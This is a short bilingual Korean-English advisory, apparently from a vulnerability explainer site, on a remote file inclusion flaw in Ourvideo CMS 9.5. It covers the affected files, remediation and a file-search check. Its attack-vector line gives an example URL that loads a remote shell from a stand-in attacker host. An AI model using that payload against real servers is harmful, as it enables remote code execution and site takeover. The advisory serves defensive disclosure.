🇰🇷 한글 설명
Ourvideo CMS 9.5의 edit_top_feature.php와 edit_topics_feature.php 파일에서 include_connection 파라미터의 부적절한 검증으로 인한 PHP 원격 파일 포함(RFI) 취약점입니다. 원격 공격자가 외부 PHP 파일을 로드하여 임의의 PHP 코드를 실행할 수 있습니다.
💡 쉬운 설명
웹사이트의 파일을 불러올 때 외부에서 온 악의적인 파일도 함께 로드할 수 있는 문제입니다. 이를 악용하면 해커가 서버에 침입하여 웹사이트를 완전히 장악할 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Ourvideo CMS 9.5 allow remote attackers to execute arbitrary PHP code via a URL in the include_connection parameter to (1) edit_top_feature.php and (2) edit_topics_feature.php in phpi/.
📍 영향받는 시스템
Ourvideo CMS 9.5 (phpi/ 디렉토리의 edit_top_feature.php, edit_topics_feature.php)
⚔️ 공격 벡터
include_connection 파라미터에 원격 PHP 파일 URL을 주입하여 실행 (예: ?include_connection=http://attacker.com/shell.php)
🛡️ 대응 방법
Ourvideo CMS를 최신 버전으로 업그레이드하고 include_connection 파라미터의 입력값을 정규식으로 검증하여 로컬 파일만 포함되도록 제한
🔧 검증 코드
결과가 나타나면 해당 서버에 취약한 Ourvideo CMS가 설치된 상태이며, 파일의 include_connection 파라미터 검증 로직을 확인하여 입력값 필터링 여부를 검토
find / -name 'edit_top_feature.php' -o -name 'edit_topics_feature.php' 2>/dev/null | head -5